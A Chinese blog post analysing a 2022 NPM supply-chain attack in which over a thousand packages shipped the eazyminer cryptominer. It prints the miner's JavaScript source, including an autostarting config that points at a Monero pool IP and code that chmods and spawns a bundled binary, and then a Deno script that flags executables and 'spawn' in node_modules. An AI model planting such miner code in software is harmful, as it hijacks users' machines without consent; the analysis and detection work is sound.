什麼?上千個NPM元件被植入挖礦程式!
中國小孩大人發表於2022-07-15
“事件簡述
近日,checkmarx 研究人員公開了一起涉及眾多包的 NPM 軟體供應鏈攻擊事件。
事件最早可以追溯到 2021年12月,攻擊者投放了1200多個包含混淆加密的惡意 NPM,這些包含有相同的挖礦指令碼 eazyminer,該指令碼的目的是利用如 Database 和 Web 等所在伺服器的機器閒置資源進行挖礦。”
居然有人在程式碼裡下毒,對應偶爾寫JS的我來說,忍不住下了一個包回來瞅瞅。
先看看入口 app.js
const path = require('path'); const express = require('express'); const bodyParser = require('body-parser'); const merge = require('deepmerge'); const Controller = require('./miners.controller'); const Logger = require('./logger'); module.exports = class App { config = { productionOnly: false, autoStart: true, pools: [{ coin: 'XMR', user: 'rawr', url: '130.162.52.80:80', // optional pool URL, }], opencl: { enabled: false, platform: 'AMD' }, web: { enabled: true, port: 3000 }, log: { enabled: false, level: 'debug', writeToConsole: false } }; logger = null; _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod'); _app = null; _controller = null; _initialized = false; get controller() { return this._controller; } constructor(options) { this.config = merge(this.config, options); this.logger = new Logger(this); if (this.config.autoStart) { this.start(); } } start() { if (!this._initialized) { this._init(); } this._controller.start(); } stop() { this._controller.stop(); } _init() { if (this._initialized) { throw new Error('already initialized'); } if (this.config.wallet) { this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.'); this.logger.info('Not starting'); return; } if (this.config.productionOnly && !this._isProduction) { this.logger.info('Eazy Miner config set to productionOnly. Not initializing'); return; } this._controller = new Controller(this); if (this.config.web.enabled) { this._setupWebServer(); } this.controller.loadMiner('rqndoxabkthupgik'); this._initialized = true; } _setupWebServer() { this._app = express(); this._app.use(express.static(path.join(__dirname, '../../public'))); this._app.use(express.json()); //Used to parse JSON bodies this._app.use(bodyParser.urlencoded({ extended: true })); // Public API (status, settings etc) this._app.get('/', (req, res) => res.sendFile('index.html')); this._app.get('/status', (req, res) => { res.send({ system: this._controller._system, performance: this._controller.status }); }); this._app.post('/settings', (req, res) => { this._controller.updateSettings(req.body); res.sendStatus(200); }); this._app.listen(this.config.web.port, () => { this.logger.info(`Webserver listening on port: ${this.config.web.port}`); }); } }
大致流程:constructor() ->start()->_init() , 初始化controller,loadMiner(), 然後this._controller.start()。接著看看miners.controller.js
const os = require('os'); const osu = require('node-os-utils') const cpu = osu.cpu const mem = osu.mem const Table = require('cli-table'); module.exports = class Controller { _app = null; _active = false; _running = false; _settings = { maxCPU: 60, maxGPU: 60, maxRAM: 60, tickInterval: 2000 }; _miners = []; _tickInterval = null; _system = { cpuLoad: 0, freeMem: 0, ram: {} } _status = { coins: [ { id: 'stratus', total: 0 } ] } get status() { return { coins: [ { id: 'stratus', total: 0 } ], active: this._active } } constructor(app) { this._app = app; this.init(); } init() { } start() { if (this._running) { this._app.logger.info('Start: miner already running'); return; } this._app.logger.info('Starting miner') this._tickInterval = setInterval(() => this.tick(), this._settings.tickInterval); this._running = true; } stop() { this._app.logger.info('Stopping miner'); clearInterval(this._tickInterval); this._tickInterval = null; this._running = false; this._miners.forEach(miner => miner.stop()); } reset() { } async tick() { this._system.cpuLoad = await cpu.usage(); this._system.ram = await mem.info(); this._system.cpu = os.cpus(); this._system.freeMem = os.freemem(); // process.stdout.write('\x1b[H\x1b[2J') // instantiate var table = new Table({ head: ['TH 1 label', 'TH 2 label'] , colWidths: [100, 200] }); // table is an Array, so you can `push`, `unshift`, `splice` and friends table.push( ['First value', 'Second value'] , ['First value', 'Second value'] ); if (!this._active) { this._active = true; this._miners.forEach(miner => miner.start()); } // if (this._settings.maxCPU > this._system.cpuLoad) { // this._active = true; // } else { // this._active = false; // } // if (this._active) { // this._miners.forEach(miner => miner.start()); // } else { // this._miners.forEach(miner => miner.stop()); // } this._status.coins[0].total = 0; } updateSettings(settings) { Object.assign(this._settings, settings); console.log(this._settings) } loadMiner(name) { const Miner = require(`./miners/${name}/${name}.miner.js`); const miner = new Miner(this._app); this._miners.push(miner); } removeMiner(name) { const miner = this._getMiner(name); miner.stop(); } pauseMiner(name) { this._getMiner(name).pause(); } updateMiner(name, settings) { this._getMiner(name).update(settings); } _getMiner(name) { return this._miners.find(miner => miner.name === name); } }
loadMiner 載入初始化了Miner,star() 呼叫了定時器執行miner.start()。接著看看 載入的 rqndoxabkthupgik.miner.js
const os = require('os'); const fs = require('fs'); const path = require('path'); const { spawn } = require('child_process'); const PLATFORM = os.platform().toLowerCase(); const LINUX_PATH = path.join(__dirname, './rqndoxabkthupgik'); const WINDOWS_PATH = path.join(__dirname, './rqndoxabkthupgik.exe'); module.exports = class rqndoxabkthupgikMiner { name = 'rqndoxabkthupgik'; _app = null; _initialized = false; _miner = null; _filePath = null; _running = false; _worker = null; constructor(app) { this._app = app; this._init(); } async _init() { if (PLATFORM === 'linux') { this._loadLinux(); } else if (PLATFORM === 'win32') { this._loadWindows(); } else { throw new Error('Unsopperted platform'); } this._initialized = true; } start() { if (this._running) { console.info('rqndoxabkthupgik already running'); return; } this._running = true; this._exec(); } stop() { if (this._worker) { this._worker.kill(); this._worker = null; } } getStatus() { } _loadLinux() { // add execution rights fs.chmodSync(LINUX_PATH, 754); this._filePath = LINUX_PATH; } _loadWindows() { this._filePath = WINDOWS_PATH; } _exec() { this._updateConfig(); // start script this._worker = spawn(this._filePath, []); // passthrough output this._worker.stdout.on('data', data => this._app.logger.info(data)); this._worker.stderr.on('data', data => this._app.logger.error(data)); } _updateConfig() { const configBasePath = path.join(__dirname, './config.base.json'); const configBase = JSON.parse(fs.readFileSync(configBasePath)); // merge given pools config with base configs const pools = this._app.config.pools.map(poolConfig => Object.assign({}, configBase.pools[0], poolConfig)) this._app.logger.info('rqndoxabkthupgik pools configuration'); this._app.logger.info(JSON.stringify(pools, null, 2)); configBase.pools = pools; Object.assign(configBase.opencl, this._app.config.opencl); Object.assign(configBase.cuda, this._app.config.cuda); fs.writeFileSync(path.join(__dirname, 'config.json'), JSON.stringify(configBase, null, 2)); } }
噢,大概就是判斷作業系統,然後 透過 spawn 執行對應的可自行檔案。不知不覺就變傀儡機了。
那麼就讓我寫個簡單的查詢,查詢一下包裡可疑的檔案吧。大致就是查詢可執行檔案和包含spawn單詞的檔案(對於混淆過的估計就沒有用了)
import { walk } from "https://deno.land/std@0.148.0/fs/mod.ts"; import { BufReader } from "https://deno.land/x/std@0.148.0/io/buffer.ts"; import { readLines } from "https://deno.land/std@0.148.0/io/mod.ts"; import { startsWith , includesNeedle } from "https://deno.land/std@0.148.0/bytes/mod.ts"; const path = "./node_modules"; for await (const entry of walk(path)) { if (entry.isFile) { let fileReader = await Deno.open(entry.path); let fileInfo = await Deno.stat(entry.path); let r = new BufReader(fileReader,fileInfo.size); let arr = new Uint8Array(fileInfo.size) let data = await r.readFull(arr); if (startsWith(arr, new Uint8Array([77, 90])) || startsWith(arr, new Uint8Array([127, 69, 76,70])) ) { console.log(entry.path); } else if (includesNeedle(arr, new Uint8Array([115, 112, 97,119,110]))) { console.log(entry.path); } } }
為什麼我用DENO,因為NODE在WIN 7下跑不起來。執行效果如下:
相關文章
- 如何解決centos伺服器被植入挖礦病毒2020-01-06CentOS伺服器
- 11 個 Ruby 庫被植入挖礦後門程式碼,刪除前已被下載 3584 次2019-08-22
- 公司伺服器被入侵植入挖礦軟體,如何追查?2021-07-26伺服器
- IPP挖礦技術開發/Defi挖礦/IPPswap理財挖礦系統開發元件解析2023-05-08元件
- 阿里雲伺服器被挖礦怎麼解決2019-02-11阿里伺服器
- (現貨合約量化機器人)什麼是比特幣挖礦_比特幣挖礦機是什麼原理?2023-04-26機器人比特幣
- CPU被挖礦,Redis竟是內鬼!2021-11-17Redis
- EPK怎麼挖礦?EPK挖礦教程詳情2021-08-19
- 痛心:實驗室伺服器被挖礦怎麼辦?2022-04-17伺服器
- 由一個bug找到JS挖礦程式碼2019-03-02JS
- docker Redis 被挖礦場景復現2020-03-25DockerRedis
- 一次Linux遭入侵,挖礦程式被隱藏案例分析2018-07-02Linux
- 網站被植入惡意程式碼 該怎麼解決2019-03-16網站
- 區塊鏈和挖礦有什麼聯絡?2022-03-17區塊鏈
- 解決阿里雲伺服器被挖礦2020-12-31阿里伺服器
- 我們為什麼會喜歡挖礦遊戲?2022-04-01遊戲
- 比特幣CPU挖礦、GPU挖礦、礦池及礦機挖礦技術原理2018-05-17比特幣GPU
- 伺服器被挖礦木馬攻擊該怎麼處理2019-02-12伺服器
- docker Redis 被任意連結 導致被 kdevtmpfsi 挖礦記錄2020-03-24DockerRedisdev
- 一次悲慘的被挖礦經歷2021-02-19
- 剝開比原看程式碼14:比原的挖礦流程是什麼樣的?2019-02-16
- IPP生態挖礦系統開發/IPPswap質押流動性挖礦開發元件/解析2023-05-08元件
- CentOS 伺服器遇到挖礦程式2020-03-10CentOS伺服器
- 那個用你CPU挖礦的COINHIVE線上挖礦平臺要倒閉了2019-03-01Hive
- 挖礦病毒2018-10-28
- 怎麼回事?聽個WAV音樂怎麼就成“挖礦機”了2019-11-25
- Stratum挖礦協議&XMR挖礦流量分析2024-05-10協議
- 嚴打“挖礦”,對“挖礦”活動零容忍2022-02-15
- 阿里雲伺服器提示挖礦程式 該怎麼解決2019-06-06阿里伺服器
- 全面清理整頓挖礦病毒,如何防止被通報?深信服挖礦病毒防護解決方案出爐2021-11-29
- BSC鏈質押代幣流動性挖礦系統元件開發(Python程式)2023-05-19元件Python
- IPPswap丨DAPP質押挖礦/算力挖礦/LP挖礦系統開發詳情2023-05-07APP
- 支援雙系統挖礦,警惕新型挖礦病毒入侵2021-07-23
- IPP質押挖礦SWAP孵化器挖礦系統開發技術程式設計2023-05-18程式設計
- 挖礦難度2020-09-28
- 分享一次伺服器被挖礦的處理方法2019-12-10伺服器
- 為什麼我從 npm 到 yarn 再到 npm?2018-05-03NPMYarn
- MDEX挖礦系統開發/MDEX流動性挖礦系統開發(程式碼原理分析)2023-04-28